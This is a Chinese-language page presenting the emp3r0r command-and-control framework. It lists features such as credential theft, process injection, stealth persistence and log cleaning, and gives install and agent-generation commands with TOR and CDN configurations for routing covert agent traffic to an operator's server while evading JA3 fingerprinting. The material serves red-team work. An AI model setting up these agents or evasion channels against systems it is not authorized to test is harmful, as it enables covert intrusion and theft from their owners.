目录导航
概述
emp3r0r 是一个C2框架,允许通过终端UI远程管理目标(agent)。它支持多种传输机制进行安全通信。
因由
最初,emp3r0r 是作为我的武器化实验之一开发的。对我来说,这是一个学习过程,尝试实现常见的 Linux 对手技术和我的一些原创想法。
那么,emp3r0r 有何不同?首先,它是第一个针对 Linux 平台的 C2 框架,包括通过它使用任何其他工具的能力。查看这些功能,了解更多使用它的正当理由。
为了支持第三方模块,emp3r0r 具有完整的python3 支持,包含在vaccine
模块中,总共 15MB,以及必要的第三方包,例如Impacket
、Requests
和MySQL
。
特色
- 漂亮的终端用户界面
- 使用tmux进行窗口管理
- 隐身
- 多任务处理
- 无需等待任何命令完成
- 模块支持
- 通过SSH 和 PTY 支持实现完美的 Shell 体验
- 与任何 SSH 客户端兼容并适用于 Windows
- Bettercap
- 通过各种方法自动持久化
- 后开发工具
- Nmap、Socat、Ncat、Bettercap 等
- 凭证窃取
- 进程注入
- Shellcode 注入
- ELF Patcher 持久化补丁
- 打包机
- 加密并压缩代理二进制文件并以隐秘的方式运行代理
- 隐藏进程和文件并通过共享库注入获得持久性
- 联网
- 端口映射
- 从 C2 端到代理端,反之亦然
- TCP/UDP 同时支持
- 支持 UDP 的代理端 Socks5 代理
- 端口映射
- 自动 Root
- LPE建议
- 系统信息收集
- 文件管理
- 启用可续传下载/上传
- SFTP 支持:使用任何 SFTP 客户端浏览远程文件,包括本地GUI 文件管理器
- 日志清理器
- 截屏
- 反病毒
- 互联网访问检查器
- 自动将代理从内部网络桥接到 C2
- 对于半隔离网络
- 通过代理到代理 SSH 连接的代理
- 与 Metasploit/Cobalt Strike 的互操作性
- 还有更多 🙂
主要功能:
- 安全传输:通过TLS的HTTP2、Shadowsocks (TCP/UDP)、TOR、CDN通过Websocket等。
- 跨平台支持:支持所有CPU架构的Linux,Windows (386/amd64)。
- 灵活配置:支持自定义安装路径、生成agent和通信方式。
安装
- 下载并安装
- 选项1:从源码克隆并构建:
git clone https://github.com/jm33-m0/emp3r0r.git
./emp3r0r --release
- 选项2:从emp3r0r releases下载最新版本。
- 解压文件并安装:
./emp3r0r --install
- 自定义安装
- 默认情况下,emp3r0r安装到
/usr/local/lib/emp3r0r
目录。 - 如果需要安装到自定义目录,可以运行:
PREFIX=/custom/path ./emp3r0r --install
- 启动C2 UI 确保安装了
tmux
来查看终端UI。首次运行时会生成服务器证书,并要求输入C2服务器的名称。
配置和运行emp3r0r C2
- 启动C2服务器
- 安装完成后,运行以下命令启动C2 UI:
emp3r0r
- 生成Agent可执行文件
- 进入Agent生成器:
use gen_agent
- 使用
set <option> <value>
命令设置所需选项:- 示例:设置C2服务器地址:
set cc_host example.com
- 配置完成后,生成Agent可执行文件:
run
- Agent可执行文件将保存到
~/.emp3r0r
目录中。
- 升级Agent 要在已连接的目标上升级Agent:
upgrade_agent
通信方式
- 基于HTTP2的TLS连接(默认 – 规避JA3指纹识别)
- 默认情况下启用基于HTTP2的TLS安全通信。
- 规避JA3指纹识别:通过流量混淆,避免通过SSL/TLS客户端指纹识别技术(如JA3)的检测。
- Shadowsocks及可选的KCP
- Shadowsocks:通过AEAD_CHACHA20_POLY1305加密算法对流量进行混淆,使其难以被检测。
- KCP:可以选择启用KCP以优化UDP流量。
- 启用带KCP的Shadowsocks:
set shadowsocks with_kcp
- 启用不带KCP的Shadowsocks:
set shadowsocks on
- TOR(洋葱路由)
- 设置TOR隐藏服务:要在emp3r0r中使用TOR,请首先在服务器上设置隐藏服务。
- 示例TOR配置文件 (
/etc/tor/torrc
):
- 示例TOR配置文件 (
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 443 127.0.0.1:8000
- 这里
8000
为C2端口,443
为隐藏服务端口。注意:保持端口443
不变,因为在emp3r0r中这个端口是硬编码的。 - 配置完成后,获取你的onion域名:
sudo cat /var/lib/tor/hidden_service/hostname
- 这会返回你的
.onion
地址,例如:cc.onion
。 - 生成用于TOR的Agent:生成Agent时,使用TOR的
.onion
地址作为C2服务器地址:
set cc_host cc.onion
- 这样确保Agent通过TOR进行连接。在运行Agent之前,确保目标系统上已经运行TOR代理(
socks5://127.0.0.1:9050
)。 - 运行Agent(通过TOR连接):
- 默认情况下,Agent会使用本地的TOR代理(
127.0.0.1:9050
)。首先运行TOR代理,然后启动Agent:
- 默认情况下,Agent会使用本地的TOR代理(
./agent
- 通过CDN(使用Websocket)
- 配置CDN:要使用CDN,首先配置CDN提供商(如Cloudflare)将Websocket流量转发到你的C2服务器。
- 典型架构如下:
agent -> socks5 -> CDN -> Nginx -> emp3r0r websocket server -> CC
- Nginx应将Websocket流量代理到emp3r0r C2服务器。示例Nginx配置:
location /emp3r0r {
proxy_pass http://127.0.0.1:9000/ws;
proxy_redirect off;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $http_host;
# 显示真实IP
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
- 生成用于CDN的Agent:生成Agent时,使用你的域名作为C2服务器地址。例如,如果使用Cloudflare:
set cc_host wss://yourcdn.com/emp3r0r
- 运行启用了CDN支持的C2服务器:在C2服务器上启用CDN支持:
emp3r0r -cdn2proxy 9000
- 这里的
9000
是Websocket服务器的监听端口。
- 上游代理
- 代理支持:emp3r0r的Agent可以通过上游代理(如HTTP或SOCKS代理)连接到C2服务器。在生成Agent时设置代理地址即可。
Agent选项和功能
- C2指标
- 配置一个“合法”URL(例如
https://github.com
)来隐藏C2流量。Agent会检查此URL,以决定是否连接到C2服务器。
- 自动代理
- Agent可以使用UDP广播进行通信,并形成代理链,以便无法直接访问互联网的Agent可以通过其他已连接的Agent路由流量。
- DNS over HTTPS (DoH)
- Agent可以使用DNS over HTTPS来安全地解析域名(例如C2连接的域名)。
命令行选项和环境变量
VERBOSE=true
:启用Agent日志记录。PERSISTENT=true
:防止Agent自我删除。REPLACE_AGENT=true
:替换目标上现有的Agent进程。ELVSH=true
:将Agent作为交互式elvsh
shell运行。-version
:查看Agent版本。
高级功能
- 将Agent引导至C2
- 该功能允许一个已连接的Agent代理另一个无法直接连接到C2的Agent,通过中间代理实现连接。
- 示例命令:
use bring2cc
set target 192.168.1.10
运行Agent
- 直接连接(规避JA3指纹识别)
- 在目标系统上直接运行Agent可执行文件:
./agent
- TOR连接
- 在目标系统上启动TOR代理,然后运行Agent:
./agent
- CDN连接
- 使用你的域名作为C2服务器,并在生成Agent时指定CDN代理:
set cc_host wss://yourcdn.com/emp3r0r
截图




说明文档
https://github.com/jm33-m0/emp3r0r/wiki
项目地址
GitHub:
https://github.com/jm33-m0/emp3r0r
下载地址
转载请注明出处及链接